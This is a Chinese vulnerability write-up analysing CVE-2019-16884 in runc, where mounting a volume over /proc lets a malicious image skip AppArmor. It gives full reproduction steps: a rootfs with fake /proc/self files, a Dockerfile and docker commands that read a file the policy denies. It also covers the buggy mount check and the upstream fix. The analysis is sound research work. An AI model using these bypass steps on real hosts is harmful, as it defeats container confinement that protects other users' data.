tags: container,cve,漏洞分析

CVE-2019-16884分析与复现

一、基本信息

条目 详情 备注
项目地址 https://github.com/opencontainers/runc
发布日期 2019-09-25
CVE-ID CVE-2019-16884 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884
EDB-ID \ \
exploits https://twitter.com/adam_iwaniuk/status/1175741830136291328
https://gist.github.com/leoluk/2513b6bbff8aa5cd623f3d7d7f20871a
cvedetails https://www.cvedetails.com/cve/CVE-2019-16884/ \
影响范围 runc <= 1.0.0-rc8
修复版本 1.0.0-rc9 d736ef14f0288d6993a1845745d6756cfc9ddd5a
CVSS 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

二、runc简介

runc是一个根据OCI规范实现的CLI工具,用于生成和运行容器,docker的runtime使用的就是runc。

三、漏洞简介

1. 简介

在容器镜像中可以声明一个VOLUME, 挂载至/proc, 欺骗runc使其认为AppArmor已经成功应用,从而绕过AppArmor策略。

这个漏洞由Adam Iwaniuk发现,并在DragonSector CTF 2019期间披露。

这个CTF题目挑战将一个文件挂载到/flag-<random>,并使用 AppArmor 策略拒绝访问该文件。选手可以利用这个漏洞来禁用这个策略并读取文件。

2. 影响

  1. 绕过docker-default规则,具体规则参见https://github.com/moby/moby/blob/master/profiles/apparmor/template.go
  2. 绕过额外配置的apparmor规则
  3. 该漏洞也影响selinux

// TODO

四、漏洞复现

1. 复现环境

$ docker run -ti ssst0n3/docker_archive:CVE-2019-16884
...
ubuntu login: root
Password: root
...
root@ubuntu:~# 

2. 复现

创建apparmor规则

cat > /etc/apparmor.d/no_flag <<EOF
#include <tunables/global>

profile no_flag flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>
  file,
  deny /flag r,
}
EOF

应用规则

/sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag

启动一个正常镜像,无权限读取/flag内容

# docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag busybox cat /flag
cat: can't open '/flag': Permission denied

利用漏洞启用一个恶意镜像,可以读取/flag

mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec}
touch rootfs/proc/self/fd/{4,5}

cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /

VOLUME /proc
EOF

docker build -t apparmor-bypass .
# docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag
11111111
docker: Error response from daemon: cannot start a stopped process: unknown.

// TODO: selinux

五、漏洞分析

leoluk作为CTF比赛期间唯一解出本题的选手, 向runc报告了此漏洞,并作出了分析

根据docker中apparmor的加载过程,我们知道runc在应用AppArmor策略时,是通过向/proc/self/attr/exec写入exec <Profile Name>实现的。

https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/apparmor/apparmor.go#L23-L25

 // Under AppArmor you can only change your own attr, so use /proc/self/ 
 // instead of /proc/<tid>/ like libapparmor does 
 path := fmt.Sprintf("/proc/self/attr/%s", attr) 

procfs是一个伪文件系统,实际是由内核虚拟的文件系统。因此如果我们可以控制/proc,则实际的AppArmor策略就不会被内核应用。

事实上,runc在挂载时有做黑名单校验,不允许挂载的目的路径为/proc

https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux.go#L414-L419

 if dest, err = securejoin.SecureJoin(rootfs, m.Destination); err != nil { 
 	return err 
 } 
 if err := checkMountDestination(rootfs, dest); err != nil { 
 	return err 
 } 

https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux.go#L464-L469

 // checkMountDestination checks to ensure that the mount destination is not over the top of /proc. 
 // dest is required to be an abs path and have any symlinks resolved before calling this function. 
 func checkMountDestination(rootfs, dest string) error { 
 	invalidDestinations := []string{ 
 		"/proc", 
 	} 

但是在具体校验过程中,有一个严重的逻辑错误。下面这段代码是完全放通目的路径为/proc的情况的。 https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux.go#L492-L500

for _, invalid := range invalidDestinations {
    path, err := filepath.Rel(filepath.Join(rootfs, invalid), dest)
    if err != nil {
        return err
    }
    if path != "." && !strings.HasPrefix(path, "..") {
        return fmt.Errorf("%q cannot be mounted because it is located inside %q", dest, invalid)
    }
}

测试代码如下:

func TestRel(t *testing.T) {
	path, err := filepath.Rel(filepath.Join("/root", "/proc"), "/root/proc")
	assert.NoError(t, err)
	assert.Equal(t, ".", path)
}

原因是这段代码缺少了关于path=="."的判断。

在这个函数对应的测试用例中,err == nil也错写成了err != nil,所以导致在开发/测试阶段未发现此问题。 https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux_test.go#L19-L25

func TestCheckMountDestOnProcChroot(t *testing.T) {
	dest := "/rootfs/proc/"
	err := checkMountDestination("/rootfs", dest)
	if err != nil {
		t.Fatal("destination inside proc when using chroot should not return an error")
	}
}

值得注意的是,该测试用例在最新的代码中仍然存在逻辑错误。 https://github.com/opencontainers/runc/blob/master/libcontainer/rootfs_linux_test.go#L19-L25

六、漏洞修复分析

1. 修复分析

https://github.com/opencontainers/runc/compare/7507c64ff675606c5ff96b0dd8889a60c589f14d...v1.0.0-rc9

这个漏洞的修复涉及好几个commit,其中最关键的修改是增加了对操作路径是否是procfs的判断: 1.在执行mount操作前,检查目的路径是否为/proc或位于/proc下, 如果是,则必须为procfs

https://github.com/opencontainers/runc/blob/v1.0.0-rc9/libcontainer/rootfs_linux.go#L464-L518

// checkProcMount checks to ensure that the mount destination is not over the top of /proc.
// dest is required to be an abs path and have any symlinks resolved before calling this function.
//
// if source is nil, don't stat the filesystem.  This is used for restore of a checkpoint.
func checkProcMount(rootfs, dest, source string) error {
	const procPath = "/proc"
	// White list, it should be sub directories of invalid destinations
	validDestinations := []string{
		// These entries can be bind mounted by files emulated by fuse,
		// so commands like top, free displays stats in container.
		"/proc/cpuinfo",
		"/proc/diskstats",
		"/proc/meminfo",
		"/proc/stat",
		"/proc/swaps",
		"/proc/uptime",
		"/proc/loadavg",
		"/proc/net/dev",
	}
	for _, valid := range validDestinations {
		path, err := filepath.Rel(filepath.Join(rootfs, valid), dest)
		if err != nil {
			return err
		}
		if path == "." {
			return nil
		}
	}
	path, err := filepath.Rel(filepath.Join(rootfs, procPath), dest)
	if err != nil {
		return err
	}
	// pass if the mount path is located outside of /proc
	if strings.HasPrefix(path, "..") {
		return nil
	}
	if path == "." {
		// an empty source is pasted on restore
		if source == "" {
			return nil
		}
		// only allow a mount on-top of proc if it's source is "proc"
		isproc, err := isProc(source)
		if err != nil {
			return err
		}
		// pass if the mount is happening on top of /proc and the source of
		// the mount is a proc filesystem
		if isproc {
			return nil
		}
		return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest)
	}
	return fmt.Errorf("%q cannot be mounted because it is inside /proc", dest)
}

2.在向/proc/self/attr/exec写入label前,校验该文件是否是procfs:

https://github.com/opencontainers/runc/blob/v1.0.0-rc9/libcontainer/apparmor/apparmor.go#L35

func setProcAttr(attr, value string) error {
	// Under AppArmor you can only change your own attr, so use /proc/self/
	// instead of /proc/<tid>/ like libapparmor does
	path := fmt.Sprintf("/proc/self/attr/%s", attr)

	f, err := os.OpenFile(path, os.O_WRONLY, 0)
	if err != nil {
		return err
	}
	defer f.Close()

	if err := utils.EnsureProcHandle(f); err != nil {
		return err
	}

	_, err = fmt.Fprintf(f, "%s", value)
	return err
}

https://github.com/opencontainers/runc/blob/v1.0.0-rc9/libcontainer/utils/utils_unix.go#L13-L23

// EnsureProcHandle returns whether or not the given file handle is on procfs.
func EnsureProcHandle(fh *os.File) error {
	var buf unix.Statfs_t
	if err := unix.Fstatfs(int(fh.Fd()), &buf); err != nil {
		return fmt.Errorf("ensure %s is on procfs: %v", fh.Name(), err)
	}
	if buf.Type != unix.PROC_SUPER_MAGIC {
		return fmt.Errorf("%s is not on procfs", fh.Name())
	}
	return nil
}

2. 当前修复局限性

以上的修复方法建立在一些前置条件上:

  1. 容器内至多有一个procfs挂载点
  2. paas类应用不会允许用户挂在procfs

经过一些尝试,暂时未能在新版本利用此漏洞,但是如果前置条件被打破,可能会有一些意料之外的收获。

六、总结

这是一个很有启发的漏洞:

  1. runc的源码中有一些测试用例存在逻辑错误,可能导致一些逻辑漏洞无法在开发/测试阶段发现
  2. apparmor和selinux的开启方式为,向procfs写入label,攻击者只需要阻止写入的过程即可避免LSM开启。类似的攻击手法可能在其他安全机制中也存在
  3. 本漏洞亦体现了procfs的特殊性,理解procfs的细节特性可能有助于挖掘类似漏洞

参考链接